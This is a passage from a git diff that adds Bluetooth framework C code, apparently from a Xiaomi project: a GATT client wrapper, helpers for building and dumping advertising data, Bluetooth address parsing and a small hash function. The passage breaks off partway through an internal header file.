gatt_client_t* client = find_client_by_conn((gattc_handle_t)conn_handle); + if (!client) + return; + + BT_GATTC_FEATURE_INVOKE_CB(client, on_mtu_updated, + client->conn, status, mtu); +} + +static gattc_callbacks_t s_feature_gattc_cbs = { + sizeof(s_feature_gattc_cbs), + feature_on_connected, + feature_on_disconnected, + feature_on_discovered, + feature_on_read, + feature_on_written, + feature_on_subscribed, + feature_on_notified, + feature_on_mtu_updated, + NULL, + NULL, + NULL, + NULL, +}; + +static void create_client_cb(bt_instance_t* ins, bt_status_t status, gattc_handle_t* phandle, + void* userdata) +{ + gatt_client_t* client; + bt_gattc_feature_create_client_cb_t user_cb; + void* user_ud; + gattc_handle_t conn_handle; + + client = (gatt_client_t*)userdata; + + if (!client) + return; + + user_cb = client->create_client_ctx.create_client_cb; + user_ud = client->create_client_ctx.create_userdata; + conn_handle = client->conn; + + if (phandle && client->conn != *phandle) { + assert(0); + } + + if (status != BT_STATUS_SUCCESS && g_gatt_client_list) { + bt_list_remove(g_gatt_client_list, client); + conn_handle = NULL; + } else { + client->connected = true; + } + + if (user_cb) { + user_cb(ins, status, conn_handle, user_ud); + } +} + +bt_status_t bt_gattc_feature_create_client_async(bt_instance_t* ins, bt_address_t* addr, + bt_gattc_feature_create_client_cb_t cb, bt_gattc_feature_callbacks_t* callbacks, + void* userdata) +{ + bt_status_t status; + + if (!ins || !addr || !cb || !callbacks || callbacks->size > sizeof(bt_gattc_feature_callbacks_t)) { + return BT_STATUS_PARM_INVALID; + } + + if (!g_gatt_client_list) { + g_gatt_client_list = bt_list_new(free_client_instance); + if (!g_gatt_client_list) + return BT_STATUS_NOMEM; + } + + if (bt_list_length(g_gatt_client_list) >= CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS) + return BT_STATUS_NOMEM; + + gatt_client_t* client = (gatt_client_t*)zalloc(sizeof(gatt_client_t)); + if (!client) { + status = BT_STATUS_NOMEM; + goto fail; + } + + client->ins = ins; + + memcpy(&client->callbacks, callbacks, callbacks->size); + + client->create_client_ctx.create_client_cb = cb; + client->create_client_ctx.create_userdata = userdata; + + if (!discovery_database_create(client)) { + free(client); + status = BT_STATUS_NOMEM; + goto fail; + } + + bt_list_add_tail(g_gatt_client_list, client); + + status = bt_gattc_create_connect_async( + ins, &client->conn, &s_feature_gattc_cbs, create_client_cb, client); + + if (status != BT_STATUS_SUCCESS) { + bt_list_remove(g_gatt_client_list, client); + goto fail; + } + + return BT_STATUS_SUCCESS; + +fail: + if (!bt_list_length(g_gatt_client_list)) { + bt_list_free(g_gatt_client_list); + g_gatt_client_list = NULL; + } + + return status; +} + +static void delete_client_cb(bt_instance_t* ins, bt_status_t status, void* userdata) +{ + gatt_client_t* client; + bt_gattc_feature_delete_client_cb_t user_cb; + void* user_ud; + gattc_handle_t conn_handle; + + client = (gatt_client_t*)userdata; + + if (!client) + return; + + user_cb = client->delete_client_ctx.delete_client_cb; + user_ud = client->delete_client_ctx.delete_userdata; + conn_handle = client->conn; + + if (g_gatt_client_list) { + bt_list_remove(g_gatt_client_list, client); + + if (!bt_list_length(g_gatt_client_list)) { + bt_list_free(g_gatt_client_list); + g_gatt_client_list = NULL; + } + } + + if (user_cb) + user_cb(ins, status, conn_handle, user_ud); +} + +bt_status_t bt_gattc_feature_delete_client_async(bt_instance_t* ins, gattc_handle_t conn_handle, + bt_gattc_feature_delete_client_cb_t cb, void* userdata) +{ + gatt_client_t* client; + + if (!ins || !conn_handle) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_PARM_INVALID; + + client->delete_client_ctx.delete_client_cb = cb; + client->delete_client_ctx.delete_userdata = userdata; + + return bt_gattc_delete_connect_async(client->conn, delete_client_cb, client); +} + +bt_status_t bt_gattc_feature_connect_async(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type, + bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + + if (!conn_handle || !addr) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + return bt_gattc_connect_async(conn_handle, addr, addr_type, cb, userdata); +} + +bt_status_t bt_gattc_feature_disconnect_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + + if (!conn_handle) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + return bt_gattc_disconnect_async(conn_handle, cb, userdata); +} + +bt_status_t bt_gattc_feature_get_service_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + bt_status_t status; + + if (!conn_handle || !cb) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + if (client->services_discovering) { + return BT_STATUS_BUSY; + } + + discovery_database_clear(client); + + status = bt_gattc_discover_service_async(client->conn, /*filter_uuid*/ NULL, cb, userdata); + + if (status == BT_STATUS_SUCCESS) { + client->services_discovering = true; + return BT_STATUS_SUCCESS; + } + + return status; +} + +bt_status_t bt_gattc_feature_read_characteristic_value_async(gattc_handle_t conn_handle, + const bt_uuid_t* service_uuid, const bt_uuid_t* characteristic_uuid, + bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + gatt_service_t* service; + gatt_characteristic_t* characteristic; + + if (!conn_handle || !service_uuid || !characteristic_uuid || !cb) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + service = find_service_by_uuid(client, service_uuid); + if (!service) + return BT_STATUS_FAIL; + + characteristic = find_char_by_uuid(service, characteristic_uuid); + if (!characteristic) + return BT_STATUS_FAIL; + + return bt_gattc_read_async(conn_handle, characteristic->value_handle, cb, userdata); +} + +bt_status_t bt_gattc_feature_read_descriptor_value_async(gattc_handle_t conn_handle, + const bt_uuid_t* service_uuid, const bt_uuid_t* characteristic_uuid, + const bt_uuid_t* descriptor_uuid, + bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + gatt_service_t* service; + gatt_characteristic_t* characteristic; + gatt_descriptor_t* descriptor; + + if (!conn_handle || !service_uuid || !characteristic_uuid || !descriptor_uuid || !cb) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + service = find_service_by_uuid(client, service_uuid); + if (!service) + return BT_STATUS_FAIL; + + characteristic = find_char_by_uuid(service, characteristic_uuid); + if (!characteristic) + return BT_STATUS_FAIL; + + descriptor = find_desc_by_uuid(characteristic, descriptor_uuid); + if (!descriptor) + return BT_STATUS_FAIL; + + return bt_gattc_read_async(conn_handle, descriptor->attr_handle, cb, userdata); +} + +bt_status_t bt_gattc_feature_write_characteristic_value_async(gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic, bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + gatt_characteristic_t* db_characteristic; + gatt_service_t* service; + + if (!conn_handle || !characteristic || !cb) + return BT_STATUS_PARM_INVALID; + + if (!characteristic->value) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + service = find_service_by_uuid(client, &characteristic->service_uuid); + if (!service) + return BT_STATUS_FAIL; + + /* Because the application does not maintain attribute handle */ + db_characteristic = find_char_by_uuid(service, &characteristic->uuid); + if (!db_characteristic) + return BT_STATUS_FAIL; + + return bt_gattc_write_async(conn_handle, db_characteristic->value_handle, + characteristic->value, (uint16_t)characteristic->value_len, + cb, userdata); +} + +bt_status_t bt_gattc_feature_write_descriptor_value_async(gattc_handle_t conn_handle, + const gatt_descriptor_t* descriptor, bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + gatt_service_t* service; + gatt_characteristic_t* characteristic; + gatt_descriptor_t* db_descriptor; + + if (!conn_handle || !descriptor || !cb) + return BT_STATUS_PARM_INVALID; + + if (!descriptor->value) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + service = find_service_by_uuid(client, &descriptor->service_uuid); + if (!service) + return BT_STATUS_FAIL; + + characteristic = find_char_by_uuid(service, &descriptor->characteristic_uuid); + if (!characteristic) + return BT_STATUS_FAIL; + + db_descriptor = find_desc_by_uuid(characteristic, &descriptor->uuid); + if (!db_descriptor) + return BT_STATUS_FAIL; + + return bt_gattc_write_async(conn_handle, db_descriptor->attr_handle, + descriptor->value, (uint16_t)descriptor->value_len, + cb, userdata); +} + +bt_status_t bt_gattc_feature_exchange_mtu_async(gattc_handle_t conn_handle, uint32_t mtu, + bt_status_cb_t cb, void* userdata) +{ + return bt_gattc_exchange_mtu_async(conn_handle, mtu, cb, userdata); +} + +bt_status_t bt_gattc_feature_set_notify_characteristic_changed_async(gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic, bool enable, + bt_status_cb_t cb, void* userdata) +{ + gatt_client_t* client; + uint16_t ccc_value; + gatt_service_t* service; + gatt_characteristic_t* db_characteristic; + + if (!conn_handle || !characteristic || !cb) + return BT_STATUS_PARM_INVALID; + + client = find_client_by_conn(conn_handle); + if (!client) + return BT_STATUS_NOT_READY; + + service = find_service_by_uuid(client, &characteristic->service_uuid); + if (!service) + return BT_STATUS_FAIL; + + db_characteristic = find_char_by_uuid(service, &characteristic->uuid); + if (!db_characteristic) + return BT_STATUS_FAIL; + + if (!enable) { + return bt_gattc_unsubscribe_async(conn_handle, db_characteristic->value_handle, + cb, userdata); + } + + if (db_characteristic->properties & GATT_PROP_NOTIFY) { + ccc_value = 0x0001; // Notify is preferred + } else if (db_characteristic->properties & GATT_PROP_INDICATE) { + ccc_value = 0x0002; // Indicate + } else { + return BT_STATUS_PARM_INVALID; + } + + return bt_gattc_subscribe_async(conn_handle, db_characteristic->value_handle, + ccc_value, cb, userdata); +} diff --git a/framework/common/advertiser_data.c b/framework/common/advertiser_data.c new file mode 100644 index 0000000000000000000000000000000000000000..72fd46dc2507d4d467d378ecb9d0e64f2a0844ac --- /dev/null +++ b/framework/common/advertiser_data.c @@ -0,0 +1,230 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" +#include "bt_debug.h" +#include "bt_list.h" +#include "bt_utils.h" + +#include "advertiser_data.h" + +typedef struct advertiser_data_ { + bt_list_t* data; + uint8_t* buffer; +} advertiser_data_t; + +static void advertiser_data_calc_len(void* data, void* context) +{ + adv_data_t* adata = data; + + *(uint16_t*)context += adata->len + 1; +} + +advertiser_data_t* advertiser_data_new(void) +{ + advertiser_data_t* ad = malloc(sizeof(advertiser_data_t)); + if (!ad) + return NULL; + + ad->data = bt_list_new((bt_list_free_cb_t)free); + ad->buffer = NULL; + + return ad; +} + +void advertiser_data_free(advertiser_data_t* ad) +{ + if (ad->buffer) + free(ad->buffer); + + bt_list_free(ad->data); + free(ad); +} + +uint8_t* advertiser_data_build(advertiser_data_t* ad, uint16_t* len) +{ + uint16_t total_len = 0; + bt_list_node_t* node; + uint8_t* p; + + if (ad->buffer) + free(ad->buffer); + + if (!bt_list_length(ad->data)) + return NULL; + + bt_list_foreach(ad->data, advertiser_data_calc_len, &total_len); + + *len = total_len; + ad->buffer = malloc(total_len); + p = ad->buffer; + + for (node = bt_list_head(ad->data); node != NULL; + node = bt_list_next(ad->data, node)) { + adv_data_t* adata = bt_list_node(node); + memcpy(p, adata, adata->len + 1); + p += adata->len + 1; + } + + return ad->buffer; +} + +void advertiser_data_set_name(advertiser_data_t* ad, const char* name) +{ + uint8_t name_len = strlen(name); + adv_data_t* data = zalloc(sizeof(adv_data_t) + name_len + 1); + + if (name_len > BT_LE_AD_NAME_LEN) { + name_len = BT_LE_AD_NAME_LEN; + data->type = BT_AD_NAME_SHORT; + } else + data->type = BT_AD_NAME_COMPLETE; + + data->len = name_len + 1; + memcpy(data->data, name, name_len); + + bt_list_add_tail(ad->data, data); +} + +void advertiser_data_set_flags(advertiser_data_t* ad, uint8_t flags) +{ + adv_data_t* data = malloc(sizeof(adv_data_t) + 1); + + data->len = 2; + data->type = BT_AD_FLAGS; + data->data[0] = flags; + + bt_list_add_tail(ad->data, data); +} + +void advertiser_data_set_appearance(advertiser_data_t* ad, uint16_t appearance) +{ + adv_data_t* data = malloc(sizeof(adv_data_t) + 2); + uint8_t* p = data->data; + + data->len = 3; + data->type = BT_AD_GAP_APPEARANCE; + UINT16_TO_STREAM(p, appearance); + + bt_list_add_tail(ad->data, data); +} + +void advertiser_data_add_data(advertiser_data_t* ad, uint8_t type, uint8_t* data, uint8_t len) +{ + adv_data_t* adata = malloc(sizeof(adv_data_t) + len); + + adata->type = type; + adata->len = len; + memcpy(adata->data, data, len); + + bt_list_add_tail(ad->data, adata); +} + +void advertiser_data_remove_data(advertiser_data_t* ad, uint8_t type, uint8_t* data, uint8_t len) +{ +} + +void advertiser_data_add_manufacture_data(advertiser_data_t* ad, + uint16_t manufacture_id, + uint8_t* data, uint8_t length) +{ + adv_data_t* mdata = malloc(sizeof(adv_data_t) + 2 + length); + uint8_t* p = mdata->data; + + mdata->len = length + 2 + 1; + mdata->type = BT_AD_MANUFACTURER_DATA; + UINT16_TO_STREAM(p, manufacture_id); + memcpy(p, data, length); + + bt_list_add_tail(ad->data, mdata); +} + +bool advertiser_data_add_service_uuid(advertiser_data_t* ad, const bt_uuid_t* uuid) +{ + adv_data_t* data; + uint8_t* p; + + switch (uuid->type) { + case BT_UUID16_TYPE: + data = malloc(sizeof(adv_data_t) + 2); + data->len = 2 + 1; + data->type = BT_AD_UUID16_ALL; + p = data->data; + UINT16_TO_STREAM(p, uuid->val.u16); + break; + case BT_UUID32_TYPE: + data = malloc(sizeof(adv_data_t) + 4); + data->len = 4 + 1; + data->type = BT_AD_UUID32_ALL; + p = data->data; + UINT32_TO_STREAM(p, uuid->val.u32); + case BT_UUID128_TYPE: + data = malloc(sizeof(adv_data_t) + 16); + data->len = 16 + 1; + data->type = BT_AD_UUID128_ALL; + memcpy(data->data, uuid->val.u128, 16); + break; + default: + return false; + } + + bt_list_add_tail(ad->data, data); + + return true; +} + +bool advertiser_data_add_service_data(advertiser_data_t* ad, + const bt_uuid_t* uuid, + uint8_t* data, uint8_t len) +{ + adv_data_t* sdata; + uint8_t* p; + + switch (uuid->type) { + case BT_UUID16_TYPE: + sdata = malloc(sizeof(adv_data_t) + len + 2); + sdata->len = 2 + 1; + sdata->type = BT_AD_SERVICE_DATA16; + p = sdata->data; + UINT16_TO_STREAM(p, uuid->val.u16); + break; + case BT_UUID32_TYPE: + sdata = malloc(sizeof(adv_data_t) + len + 4); + sdata->len = 4 + 1; + sdata->type = BT_AD_SERVICE_DATA32; + p = sdata->data; + UINT32_TO_STREAM(p, uuid->val.u32); + case BT_UUID128_TYPE: + sdata = malloc(sizeof(adv_data_t) + len + 16); + sdata->len = 16 + 1; + sdata->type = BT_AD_SERVICE_DATA128; + memcpy(sdata->data, uuid->val.u128, 16); + p = sdata->data + 16; + break; + default: + return false; + } + + memcpy(p, data, len); + sdata->len += len; + bt_list_add_tail(ad->data, sdata); + + return true; +} diff --git a/framework/common/advertiser_data_helper.c b/framework/common/advertiser_data_helper.c new file mode 100644 index 0000000000000000000000000000000000000000..35f8b804dd252b9e372ec6c5ff75b0f5c605cca8 --- /dev/null +++ b/framework/common/advertiser_data_helper.c @@ -0,0 +1,215 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdbool.h> +#include <stdint.h> + +#include "advertiser_data.h" +#include "bt_debug.h" + +typedef struct { + uint8_t ad_type; + const char* desc; +} ad_type_desc_t; + +static const ad_type_desc_t ad_type_map[] = { + { BT_AD_FLAGS, "Flags" }, + { BT_AD_UUID16_SOME, "Incomplete List of 16­bit Service Class UUIDs" }, + { BT_AD_UUID16_ALL, "Complete List of 16­bit Service Class UUIDs" }, + { BT_AD_UUID32_SOME, "Incomplete List of 32­bit Service Class UUIDs" }, + { BT_AD_UUID32_ALL, "Complete List of 32­bit Service Class UUIDs" }, + { BT_AD_UUID128_SOME, "Incomplete List of 128­bit Service Class UUIDs" }, + { BT_AD_UUID128_ALL, "Complete List of 128­bit Service Class UUIDs" }, + { BT_AD_NAME_SHORT, "Shortened Local Name" }, + { BT_AD_NAME_COMPLETE, "Complete Local Name" }, + { BT_AD_TX_POWER, "Tx Power Level" }, + { BT_AD_CLASS_OF_DEV, "Class of Device" }, + { BT_AD_SSP_HASH, "Simple Pairing Hash C­192" }, + { BT_AD_SSP_RANDOMIZER, "Simple Pairing Randomizer R­192" }, + { BT_AD_SMP_TK, "Security Manager TK Value" }, + { BT_AD_SMP_OOB_FLAGS, "Security Manager Out of Band Flags" }, + { BT_AD_PERIPHERAL_CONN_INTERVAL, "Peripheral Connection Interval Range" }, + { BT_AD_SOLICIT16, "List of 16­bit Service Solicitation UUIDs" }, + { BT_AD_SOLICIT128, "List of 128­bit Service Solicitation UUIDs" }, + { BT_AD_SERVICE_DATA16, "Service Data ­ 16­bit UUID" }, + { BT_AD_PUBLIC_ADDRESS, "Public Target Address" }, + { BT_AD_RANDOM_ADDRESS, "Random Target Address" }, + { BT_AD_GAP_APPEARANCE, "Appearance" }, + { BT_AD_ADVERTISING_INTERVAL, "Advertising Interval" }, + { BT_AD_LE_DEVICE_ADDRESS, "LE Bluetooth Device Address" }, + { BT_AD_LE_ROLE, "LE Role" }, + { BT_AD_SSP_HASH_P256, "Simple Pairing Hash C­256" }, + { BT_AD_SSP_RANDOMIZER_P256, "Simple Pairing Randomizer R­256" }, + { BT_AD_SOLICIT32, "List of 32­bit Service Solicitation UUIDs" }, + { BT_AD_SERVICE_DATA32, "Service Data ­ 32­bit UUID" }, + { BT_AD_SERVICE_DATA128, "Service Data ­ 128­bit UUID" }, + { BT_AD_LE_SC_CONFIRM_VALUE, "LE Secure Connections Confirmation Value" }, + { BT_AD_LE_SC_RANDOM_VALUE, "LE Secure Connections Random Value" }, + { BT_AD_URI, "URI" }, + { BT_AD_INDOOR_POSITIONING, "Indoor Positioning" }, + { BT_AD_TRANSPORT_DISCOVERY, "Transport Discovery Data" }, + { BT_AD_LE_SUPPORTED_FEATURES, "LE Supported Features" }, + { BT_AD_CHANNEL_MAP_UPDATE_IND, "Channel Map Update Indication" }, + { BT_AD_MESH_PROV, "PB­ADV" }, + { BT_AD_MESH_DATA, "Mesh Message" }, + { BT_AD_MESH_BEACON, "Mesh Beacon" }, + { BT_AD_BIG_INFO, "BIGInfo" }, + { BT_AD_BROADCAST_CODE, "Broadcast_Code" }, + { BT_AD_RESOLVABLE_SET_IDENTIFIER, "Resolvable Set Identifier" }, + { BT_AD_ADV_INTERVAL_LONG, "Advertising Interval ­ long" }, + { BT_AD_BROADCAST_NAME, "Broadcast_Name" }, + { BT_AD_ENCRYPTED_ADV_DATA, "Encrypted Advertising Data" }, + { BT_AD_PERIODIC_ADV_RSP_TIMING, "Periodic Advertising Response Timing Information" }, + { BT_AD_3D_INFO_DATA, "3D Information Data" }, + { BT_AD_MANUFACTURER_DATA, "Manufacturer Specific Data" }, +}; + +static const char* show_ad_type_desc(uint8_t type) +{ + for (int i = 0; i < sizeof(ad_type_map) / sizeof(ad_type_map[0]); i++) { + if (ad_type_map[i].ad_type == type) + return ad_type_map[i].desc; + } + + return "Unknown"; +} + +static void advertiser_data_info(adv_data_t* ad) +{ + if (ad->len < 1) { + return; + } + + syslog(4, "AdvType:(%s)\n", show_ad_type_desc(ad->type)); + BT_DUMPBUFFER("AdvData:", ad->data, ad->len - 1); + + switch (ad->type) { + case BT_AD_FLAGS: + break; + case BT_AD_UUID16_SOME: + break; + case BT_AD_UUID16_ALL: + break; + case BT_AD_UUID32_SOME: + break; + case BT_AD_UUID32_ALL: + break; + case BT_AD_UUID128_SOME: + break; + case BT_AD_UUID128_ALL: + break; + case BT_AD_NAME_SHORT: + break; + case BT_AD_NAME_COMPLETE: + break; + case BT_AD_TX_POWER: + break; + case BT_AD_CLASS_OF_DEV: + break; + case BT_AD_SSP_HASH: + break; + case BT_AD_SSP_RANDOMIZER: + break; + case BT_AD_SMP_TK: + /* if ad->len == 8, ad type is SMP_TK */ + break; + case BT_AD_SMP_OOB_FLAGS: + break; + case BT_AD_PERIPHERAL_CONN_INTERVAL: + break; + case BT_AD_SOLICIT16: + break; + case BT_AD_SOLICIT128: + break; + case BT_AD_SERVICE_DATA16: + break; + case BT_AD_PUBLIC_ADDRESS: + break; + case BT_AD_RANDOM_ADDRESS: + break; + case BT_AD_GAP_APPEARANCE: + break; + case BT_AD_ADVERTISING_INTERVAL: + break; + case BT_AD_LE_DEVICE_ADDRESS: + break; + case BT_AD_LE_ROLE: + break; + case BT_AD_SSP_HASH_P256: + break; + case BT_AD_SSP_RANDOMIZER_P256: + break; + case BT_AD_SOLICIT32: + break; + case BT_AD_SERVICE_DATA32: + break; + case BT_AD_SERVICE_DATA128: + break; + case BT_AD_LE_SC_CONFIRM_VALUE: + break; + case BT_AD_LE_SC_RANDOM_VALUE: + break; + case BT_AD_URI: + break; + case BT_AD_INDOOR_POSITIONING: + break; + case BT_AD_TRANSPORT_DISCOVERY: + break; + case BT_AD_LE_SUPPORTED_FEATURES: + break; + case BT_AD_CHANNEL_MAP_UPDATE_IND: + break; + case BT_AD_MESH_PROV: + break; + case BT_AD_MESH_DATA: + break; + case BT_AD_MESH_BEACON: + break; + case BT_AD_BIG_INFO: + break; + case BT_AD_BROADCAST_CODE: + break; + case BT_AD_RESOLVABLE_SET_IDENTIFIER: + break; + case BT_AD_ADV_INTERVAL_LONG: + break; + case BT_AD_BROADCAST_NAME: + break; + case BT_AD_ENCRYPTED_ADV_DATA: + break; + case BT_AD_PERIODIC_ADV_RSP_TIMING: + break; + case BT_AD_3D_INFO_DATA: + break; + case BT_AD_MANUFACTURER_DATA: + break; + default: + break; + } +} + +bool advertiser_data_dump(uint8_t* data, uint16_t len, ad_dump_cb_t dump) +{ + uint16_t offset = 0; + + while (offset < len) { + adv_data_t* ad = (adv_data_t*)&data[offset]; + + advertiser_data_info(ad); + offset += ad->len + 1; + }; + + return true; +} diff --git a/framework/common/bt_addr.c b/framework/common/bt_addr.c new file mode 100644 index 0000000000000000000000000000000000000000..d3c2bd463344c41509c2772d51accb18456c9f70 --- /dev/null +++ b/framework/common/bt_addr.c @@ -0,0 +1,115 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <assert.h> +#include <ctype.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" + +static const bt_address_t bt_addr_empty = { + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } +}; + +static char g_bdaddr_str[18]; + +static int bachk(const char* str) +{ + if (!str) + return -1; + + if (strlen(str) != 17) + return -1; + + while (*str) { + if (!isxdigit(*str++)) + return -1; + + if (!isxdigit(*str++)) + return -1; + + if (*str == 0) + break; + + if (*str++ != ':') + return -1; + } + + return 0; +} + +bool bt_addr_is_empty(const bt_address_t* addr) +{ + return memcmp(addr->addr, bt_addr_empty.addr, BT_ADDR_LENGTH) == 0; +} + +void bt_addr_set_empty(bt_address_t* addr) +{ + assert(addr != NULL); + + memcpy(addr, &bt_addr_empty, sizeof(bt_address_t)); +} + +int bt_addr_compare(const bt_address_t* a, const bt_address_t* b) +{ + return memcmp(a, b, sizeof(bt_address_t)); +} + +int bt_addr_ba2str(const bt_address_t* addr, char* str) +{ + return sprintf(str, "%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X", + addr->addr[5], addr->addr[4], addr->addr[3], + addr->addr[2], addr->addr[1], addr->addr[0]); +} + +char* bt_addr_bastr(const bt_address_t* addr) +{ + if (!addr) { + return NULL; + } + + bt_addr_ba2str(addr, g_bdaddr_str); + g_bdaddr_str[17] = '\0'; + + return g_bdaddr_str; +} + +int bt_addr_str2ba(const char* str, bt_address_t* addr) +{ + int i; + + if (bachk(str) < 0) { + memset(addr, 0, sizeof(bt_address_t)); + return -1; + } + + for (i = 5; i >= 0; i--, str += 3) + addr->addr[i] = strtol(str, NULL, 16); + + return 0; +} + +void bt_addr_set(bt_address_t* addr, const uint8_t* bd) +{ + memcpy(addr->addr, bd, 6); +} + +void bt_addr_swap(const bt_address_t* src, bt_address_t* dest) +{ + for (int i = 0; i < 6; i++) + dest->addr[5 - i] = src->addr[i]; +} diff --git a/framework/common/bt_hash.c b/framework/common/bt_hash.c new file mode 100644 index 0000000000000000000000000000000000000000..3ad9ee07eefed4d238afbaee6ffd84bff12451be --- /dev/null +++ b/framework/common/bt_hash.c @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_hash.h" + +#define HASH4 h = ((h << 5) + h + *key++); + +uint32_t bt_hash4(const void* keyarg, size_t len) +{ + const uint8_t* key = keyarg; + uint32_t h = 0; + size_t loop; + + if (len > 0) { + loop = (len + 8 - 1) >> 3; + switch (len & (8 - 1)) { + case 0: + do { + HASH4; + case 7: + HASH4; + case 6: + HASH4; + case 5: + HASH4; + case 4: + HASH4; + case 3: + HASH4; + case 2: + HASH4; + case 1: + HASH4; + } while (--loop); + } + } + + return h; +} \ No newline at end of file diff --git a/framework/common/bt_hash.h b/framework/common/bt_hash.h new file mode 100644 index 0000000000000000000000000000000000000000..c6916e5bb1db4aff008dbdcb0c337d37a6a516f6 --- /dev/null +++ b/framework/common/bt_hash.h @@ -0,0 +1,32 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_HASH_H__ +#define __BT_HASH_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdint.h> +#include <stdio.h> + +uint32_t bt_hash4(const void* keyarg, size_t len); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_HASH_H__ */ diff --git a/framework/common/bt_internal.h b/framework/common/bt_internal.h new file mode 100644 index 0000000000000000000000000000000000000000..a4d1ffcdeed4738e3c72c5f0e49f1bb4fa0cd0b1 --- /dev/null +++ b/framework/common/bt_internal.h @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_INTERNAL_H__ +#define _BT_INTERNAL_H__ + +#include "bt_config.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef BTSYMBOLS +#undef BTSYMBOLS +#endif + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_SOCKET_IPC +#define BTSYMBOLS(s) server_##s +#else +#define BTSYMBOLS(s) s +#endif + +#if defined(CONFIG_CPU_BIT64) // CONFIG_CPU_BIT64 +#define PTR uint64_t +#define PRTx PRIx64 +#if !defined(INT2PTR) +#define INT2PTR(pt) (pt)(uint64_t) // For example, INT2PTR(pt)(int): (int)=>uint64_t=>(pt)/pointer type +#endif +#if !defined(PTR2INT) +#define PTR2INT(it) (it)(uint64_t) // For example, PTR2INT(it)(pointer): (pointer)=>uint64_t=>(it)/int type +#endif +#else // CONFIG_CPU_BIT32 and others +#define PTR uint32_t +#define PRTx PRIx32 +#if !defined(INT2PTR) +#define INT2PTR(pt) (pt)(uint32_t) // For example, INT2PTR(pt)(int): 